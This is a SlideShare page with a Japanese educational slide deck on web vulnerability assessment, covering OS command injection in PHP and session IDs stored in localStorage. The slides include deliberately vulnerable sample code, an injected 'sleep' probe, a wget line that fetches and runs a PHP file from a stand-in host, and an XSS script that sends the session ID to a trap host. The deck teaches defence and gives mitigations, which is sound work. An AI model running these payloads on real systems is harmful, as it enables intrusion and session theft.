Submit Search
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
0 likes
676 views
T
tobaru_yuta
下記について記載。 OSコマンドインジェクション ローカルストレージへの機密情報の保持
Internet
Read more
1 of 30
Download now
Download to read offline
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
More Related Content
PDF
コンテナ未経験新人が学ぶコンテナ技術入門
Kohei Tokunaga
PPT
DNS移転失敗体験談
oheso tori
PDF
私たちはRESTCONFでネットワーク自動化的に何が嬉しくなるのか考えてみた
akira6592
PDF
新入社員のための大規模ゲーム開発入門 サーバサイド編
infinite_loop
PDF
セキュアエレメントとIotデバイスセキュリティ2
Kentaro Mitsuyasu
PDF
Hive on Tezのベストプラクティス
Yahoo!デベロッパーネットワーク
PDF
ゼロからはじめるKVM超入門
VirtualTech Japan Inc.
PDF
初心者向けCTFのWeb分野の強化法
kazkiti
コンテナ未経験新人が学ぶコンテナ技術入門
Kohei Tokunaga
DNS移転失敗体験談
oheso tori
私たちはRESTCONFでネットワーク自動化的に何が嬉しくなるのか考えてみた
akira6592
新入社員のための大規模ゲーム開発入門 サーバサイド編
infinite_loop
セキュアエレメントとIotデバイスセキュリティ2
Kentaro Mitsuyasu
Hive on Tezのベストプラクティス
Yahoo!デベロッパーネットワーク
ゼロからはじめるKVM超入門
VirtualTech Japan Inc.
初心者向けCTFのWeb分野の強化法
kazkiti
What's hot
(20)
PDF
show コマンド結果をパースする方法あれこれ #npstudy
akira6592
PPTX
トランザクションをSerializableにする4つの方法
Kumazaki Hiroki
PPTX
Rootlessコンテナ
Akihiro Suda
PPT
Aio
Masaaki HIROSE
PDF
ネットワークの自動化・監視の取り組みについて #netopscoding #npstudy
Yahoo!デベロッパーネットワーク
PDF
2022国際ロボット展に見る産業用ロボットの最新技術動向
豆寄席 (株式会社豆蔵)
PDF
PHPで大規模ブラウザゲームを開発してわかったこと
Kentaro Matsui
PDF
AlmaLinux と Rocky Linux の誕生経緯&比較
beyond Co., Ltd.
PPTX
今から始めるWebClient(JSUG勉強会 2020年その6 LT大会)
NTT DATA Technology & Innovation
PDF
[B11] 基礎から知るSSD(いまさら聞けないSSDの基本) by Hironobu Asano
Insight Technology, Inc.
PPTX
Gstreamer Basics
Seiji Hiraki
PPTX
初心者向けMongoDBのキホン!
Tetsutaro Watanabe
PDF
Magnum IO GPUDirect Storage 最新情報
NVIDIA Japan
PPTX
ポスト・ラムダアーキテクチャの切り札? Apache Hudi(NTTデータ テクノロジーカンファレンス 2020 発表資料)
NTT DATA Technology & Innovation
PDF
情報科学における18のメタテクニック
nakano_lab
PDF
スキーマレスカラムナフォーマット「Yosegi」で実現する スキーマの柔軟性と処理性能を両立したログ収集システム / Hadoop / Spark Con...
Yahoo!デベロッパーネットワーク
PDF
Hyper-V、オンプレミスでもコンテナを
Tetsuya Yokoyama
PDF
Dockerからcontainerdへの移行
Kohei Tokunaga
PDF
Apache Arrow Flight – ビッグデータ用高速データ転送フレームワーク #dbts2021
Kouhei Sutou
PDF
レコメンドエンジン作成コンテストの勝ち方
Shun Nukui
show コマンド結果をパースする方法あれこれ #npstudy
akira6592
トランザクションをSerializableにする4つの方法
Kumazaki Hiroki
Rootlessコンテナ
Akihiro Suda
Aio
Masaaki HIROSE
ネットワークの自動化・監視の取り組みについて #netopscoding #npstudy
Yahoo!デベロッパーネットワーク
2022国際ロボット展に見る産業用ロボットの最新技術動向
豆寄席 (株式会社豆蔵)
PHPで大規模ブラウザゲームを開発してわかったこと
Kentaro Matsui
AlmaLinux と Rocky Linux の誕生経緯&比較
beyond Co., Ltd.
今から始めるWebClient(JSUG勉強会 2020年その6 LT大会)
NTT DATA Technology & Innovation
[B11] 基礎から知るSSD(いまさら聞けないSSDの基本) by Hironobu Asano
Insight Technology, Inc.
Gstreamer Basics
Seiji Hiraki
初心者向けMongoDBのキホン!
Tetsutaro Watanabe
Magnum IO GPUDirect Storage 最新情報
NVIDIA Japan
ポスト・ラムダアーキテクチャの切り札? Apache Hudi(NTTデータ テクノロジーカンファレンス 2020 発表資料)
NTT DATA Technology & Innovation
情報科学における18のメタテクニック
nakano_lab
スキーマレスカラムナフォーマット「Yosegi」で実現する スキーマの柔軟性と処理性能を両立したログ収集システム / Hadoop / Spark Con...
Yahoo!デベロッパーネットワーク
Hyper-V、オンプレミスでもコンテナを
Tetsuya Yokoyama
Dockerからcontainerdへの移行
Kohei Tokunaga
Apache Arrow Flight – ビッグデータ用高速データ転送フレームワーク #dbts2021
Kouhei Sutou
レコメンドエンジン作成コンテストの勝ち方
Shun Nukui
Ad
Viewers also liked
(20)
PDF
Webアプリケーション脆弱性診断について
tobaru_yuta
PDF
MongoDBの脆弱性診断 - smarttechgeeks
tobaru_yuta
DOCX
Chuyên
caidatmaybamgio
DOCX
Pengertian dan Sejarah Software Open Source
Barmed Studio
DOCX
Maestro conoce a sus alumnos
Frankling Aguilar
RTF
Talia's Resume'
Talia Wilson
PPTX
Дмитрий Мартынов: О подписке на газеты и журналы в I полугодии 2017 года и п...
Ассоциация распространителей печатной продукции
PDF
Pak janggut kapal dari es
linda hindiana
PPTX
Web applicationpenetrationtest その3
Tetsuya Hasegawa
PPTX
Tipos de condicionales
angelzerpa12
PPTX
Refugios temporales
Ale1808
PDF
担当Pjのciにserverless frameworkを導入した話
masaya tawata
PPTX
HFCC 創新場域工作坊
HCGO
PPTX
email in our daily life
Binay Sharma
PDF
Tablete de-stil-de-viata-sanatatea
saraviola
PDF
Dockerでデプロイ
oshiro_seiya
PPTX
Presentation employees Nutricia
InspanningLoont
PDF
Danone Nutricia Case - The Data-Driven Mother's Journey by Christopher Nash, ...
Komfo
PPTX
Gender differences in symptomatology of autism spectrum disorder
Laura Mattys
PPTX
Bioaccumulation & biomagnifications
Nur Atikah Amira
Webアプリケーション脆弱性診断について
tobaru_yuta
MongoDBの脆弱性診断 - smarttechgeeks
tobaru_yuta
Chuyên
caidatmaybamgio
Pengertian dan Sejarah Software Open Source
Barmed Studio
Maestro conoce a sus alumnos
Frankling Aguilar
Talia's Resume'
Talia Wilson
Дмитрий Мартынов: О подписке на газеты и журналы в I полугодии 2017 года и п...
Ассоциация распространителей печатной продукции
Pak janggut kapal dari es
linda hindiana
Web applicationpenetrationtest その3
Tetsuya Hasegawa
Tipos de condicionales
angelzerpa12
Refugios temporales
Ale1808
担当Pjのciにserverless frameworkを導入した話
masaya tawata
HFCC 創新場域工作坊
HCGO
email in our daily life
Binay Sharma
Tablete de-stil-de-viata-sanatatea
saraviola
Dockerでデプロイ
oshiro_seiya
Presentation employees Nutricia
InspanningLoont
Danone Nutricia Case - The Data-Driven Mother's Journey by Christopher Nash, ...
Komfo
Gender differences in symptomatology of autism spectrum disorder
Laura Mattys
Bioaccumulation & biomagnifications
Nur Atikah Amira
Ad
Similar to ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
(20)
PPTX
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
Hiroshi Tokumaru
PDF
とある診断員と色々厄介な脆弱性達
zaki4649
PPTX
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
Hiroshi Tokumaru
PPTX
Mix Leap 0214 security
adachi tomohiro
PDF
2017年のセキュリティ 傾向と対策講座
NHN テコラス株式会社
PDF
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
JPCERT Coordination Center
PPTX
Security Learning Vol2 話題の脆弱性をコードで紐解く!
YOJI WATANABE
PPTX
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
Hiroshi Tokumaru
PDF
Webアプリケーション脆弱性診断のご紹介_コンピューターサイエンス株式会社
ComputerScienceCoLtd
PDF
脆弱性もバグ、だからテストしよう PHPカンファンレス2015
ichikaway
PPTX
サーバーフレームワークに潜んでる脆弱性検知ツール紹介
gree_tech
PPTX
安全なPHPアプリケーションの作り方2016
Hiroshi Tokumaru
ODP
ライブコーディングとデモで理解するWebセキュリティの基礎
Takahisa Kishiya
PDF
脆弱性もバグ、だからテストしよう DevSummiFukuoka
ichikaway
PDF
「最近のwebアプリケーションの脆弱性やそれを悪用する攻撃の動向」OWASP Kansai
OWASP Kansai
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
Hiroshi Tokumaru
PDF
Blojsom におけるクロスサイトスクリプティングの脆弱性
JPCERT Coordination Center
PDF
なぜ自社で脆弱性診断を行うべきなのか
Sen Ueno
PPTX
若手エンジニアのためのセキュリティ講座
Hiroshi Tokumaru
PPTX
HTML5 Web アプリケーションのセキュリティ
彰 村地
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
Hiroshi Tokumaru
とある診断員と色々厄介な脆弱性達
zaki4649
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
Hiroshi Tokumaru
Mix Leap 0214 security
adachi tomohiro
2017年のセキュリティ 傾向と対策講座
NHN テコラス株式会社
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
JPCERT Coordination Center
Security Learning Vol2 話題の脆弱性をコードで紐解く!
YOJI WATANABE
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
Hiroshi Tokumaru
Webアプリケーション脆弱性診断のご紹介_コンピューターサイエンス株式会社
ComputerScienceCoLtd
脆弱性もバグ、だからテストしよう PHPカンファンレス2015
ichikaway
サーバーフレームワークに潜んでる脆弱性検知ツール紹介
gree_tech
安全なPHPアプリケーションの作り方2016
Hiroshi Tokumaru
ライブコーディングとデモで理解するWebセキュリティの基礎
Takahisa Kishiya
脆弱性もバグ、だからテストしよう DevSummiFukuoka
ichikaway
「最近のwebアプリケーションの脆弱性やそれを悪用する攻撃の動向」OWASP Kansai
OWASP Kansai
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
Hiroshi Tokumaru
Blojsom におけるクロスサイトスクリプティングの脆弱性
JPCERT Coordination Center
なぜ自社で脆弱性診断を行うべきなのか
Sen Ueno
若手エンジニアのためのセキュリティ講座
Hiroshi Tokumaru
HTML5 Web アプリケーションのセキュリティ
彰 村地
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
1.
ソースで学ぶ脆弱性診断 SmartTechGeeks #2 桃原 裕太
2.
名前 桃原 裕太
/ とうばる ゆうた 所属 株式会社 シーエー・アドバンス 技術統括本部 経歴 前職 ・ECサイト等の開発 株式会社 シーエー・アドバンス ・社内ツールの開発 ・脆弱性診断の業務に携わって約4年 業務 Webアプリケーション脆弱性診断 ・PCブラウザ向けアプリ ・SPブラウザ向けアプリ ・Androidアプリ ・iOSアプリ 自己紹介
3.
脆弱性診断とは Webサイトに脆弱性がないか、擬似攻撃を行って調査しています。 サービスを健全な状態に保つことで外部からの攻撃を防ぎます。
4.
注意 本資料で紹介した内容について 他者が管理しているサービスでは 試さないようにお願いします。
5.
今回のテーマ サンプルソースをもとに、 脆弱性について一緒に考えていきたいと思います。 ❏ どのような脆弱性か? ❏ どのような影響があるのか? ❏
どのように対策したらいいの?
6.
脆弱性の例 クロスサイトスクリプティング SQLインジェクション OSコマンドインジェクション アクセス権 等
7.
最近だと… WordPress の脆弱性がありましたね 【参考URL】https://www.ipa.go.jp/security/ciadr/vul/20170206-wordpress.html 対 象 WordPress
4.7.0 から WordPress 4.7.1 影 響 REST API の脆弱性を悪用することで コンテンツが改ざんされる 対 策 WordPress 4.7.2 へアップデートする
8.
問題!
9.
問題(どのような脆弱性があるでしょうか?) http://hoge.com/order/summary <?php // 受注情報の集計バッチを動かす require
'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701 // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &");
10.
問題(どのような脆弱性があるでしょうか?) http://hoge.com/order/summary <?php // 受注情報の集計バッチを動かす require
'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &");
11.
問題(どのような脆弱性があるでしょうか?) http://hoge.com/order/summary <?php // 受注情報の集計バッチを動かす require
'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &");
12.
OSコマンドインジェクション http://hoge.com/order/summary <?php // 受注情報の集計バッチを動かす require
'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header(“Location: http://hoge.com/login"); exit(); $yyyymm = $_POST[“yyyymm"]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); ①バッチを動かす php /batch/order_summary.php 201701; ②sleepコマンドで10秒停止 sleep 10;
13.
OSコマンドインジェクション なぜsleepコマンド? ❏ yyyymm=201701 の場合 ※レスポンスが返ってくるまでに1秒かかる ❏
yyyymm=201701;sleep 10; の場合 ※レスポンスが返ってくるまでに11秒かかる
14.
OSコマンドインジェクション 外部の人でも sleepコマンドを投げることで 脆弱性があるか判別できます ※試す場合は、許可を得たサイトだけにしてください。 他者のサービスで試すと不正アクセスで 訴えられる恐れがあります
15.
OSコマンドインジェクション 影響 ❏ 不正なファイルのDLと実行 ❏ ;wget
http://example.com/evil.txt -O evil.php;php evil.php; ❏ ツールの取得(yum, apt-get) ❏ ファイル削除 (rm) ❏ OSシャットダウン(shutdown) ❏ その他いろいろ
16.
OSコマンドインジェクション 対策 ※一例ですが… ❏ OSコマンドに渡すパラメータを 安全な関数によりエスケープする。 (すべて数字で構成されているか) ❏ 外部から入力された文字列を コマンドラインのパラメータに渡さない (画面ではなく、バックエンドでの定期実行に変える)
17.
次の問題!
18.
問題(どのような脆弱性があるでしょうか?) http://hoge.com/login.php <!-- javascript --> //
ログイン処理 fetch('/login_fetch.php', { method: 'POST', body: new FormData(document.getElementById('form1')), }) // レスポンス取得 .then(response => response.json()) // WebストレージにセッションIDを格納 .then(json => localStorage.setItem('session_id', (json.isLogin) ? json.session_id : ''));
19.
問題(どのような脆弱性があるでしょうか?) http://hoge.com/login.php <!-- javascript --> //
ログイン処理 fetch('/login_fetch.php', { method: 'POST', body: new FormData(document.getElementById('form1')), }) // レスポンス取得 .then(response => response.json()) // WebストレージにセッションIDを格納 .then(json => localStorage.setItem('session_id', (json.isLogin) ? json.session_id : '')); WebStorageにセッションIDを保存している
20.
WebStorageへの機密情報の保存 セッションIDを盗まれてしまう可能性があります セッションIDが盗まれる例 ※サイト内にXSSがある場合になります… 1. XSSを利用して、下記scriptを埋め込みます。 2. 結果、罠サイトへアクセスする際にセッションIDが漏洩します。 <!--
javascript --> ses_id = localStorage.getItem('session_id'); img = $('<img src="http://fuga.com/1.png?session_id='+ses_id+'">'); $('body').append(img); // bodyの一番下にimgタグ追加
21.
WebStorageへの機密情報の保存 セッション情報が送信されたサイトのアクセスログ 192.168.99.1 - -
[08/Feb/2017:06:06:04 +0000] "GET/1.png?session_id=s1234 HTTP/1.1" 404 497 "http://192.168.99.100/xss.php" "Mozilla/5.0 (Windows NT 6.1; Win64;x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" GET/1.png?session_id=s1234 HTTP/1.1 アクセスログに残っている "s1234" を使うことで 対象サイトでなりすましできる
22.
WebStorageへの機密情報の保存 影響 XSSと組み合わせることでデータの取得や設定が可能に ・セッションIDの取得や上書き ・個人情報の取得 等 対策(一例) セッション情報はCookieで保持するようにします。 HttponlyやSecure属性を設定し、適切に保護。
23.
実際に脆弱性診断する ときはどうしているか?
24.
実際に脆弱性診断するときはどうしているか 診断ツールを使って確認しています。 ・自動診断(XSS, インジェクション攻撃 ...
etc) ・手動診断(CSRF, アクセス権 ... etc) ツールで検出しやすいものは自動診断 それ以外項目は手動診断しています。
25.
脆弱性診断で使うツール 診断効率をあげるためのツールのご紹介 ❏ Burp Suite ※弊社でも使ってます ❏
OWASP ZAP ❏ Fiddler ※試す場合は、許可を得たサイトだけにしてください。 他者のサービスで試すと不正アクセスで訴えられる恐れがあります。
26.
もし脆弱性診断に興味が出てきたら(その1) IPAでセキュリティ理解を深めるための資料を公開しています。(無料) 安全なウェブサイトの作り方 https://www.ipa.go.jp/security/vuln/websecurity.html 脆弱性体験学習ツール AppGoat https://www.ipa.go.jp/security/vuln/appgoat/
27.
もし脆弱性診断に興味が出てきたら(その2) http://qiita.com/organizations/ca-adv にもあるので解いてみてください
28.
おわりに
29.
まとめ、と補足 ❏ Webアプリケーション脆弱性診断について 少しでも理解してもらえると幸いです。 ❏ OSコマンドインジェクションは危ない! ❏
ふつうに開発してるだけだと脆弱性は入ってしまうので、ぜひ 対策をご検討ください。 ❏ セキュリティの専門家に依頼する ❏ 社内でセキュリティ意識を高める ... etc
30.
ご清聴ありがとうございました
Download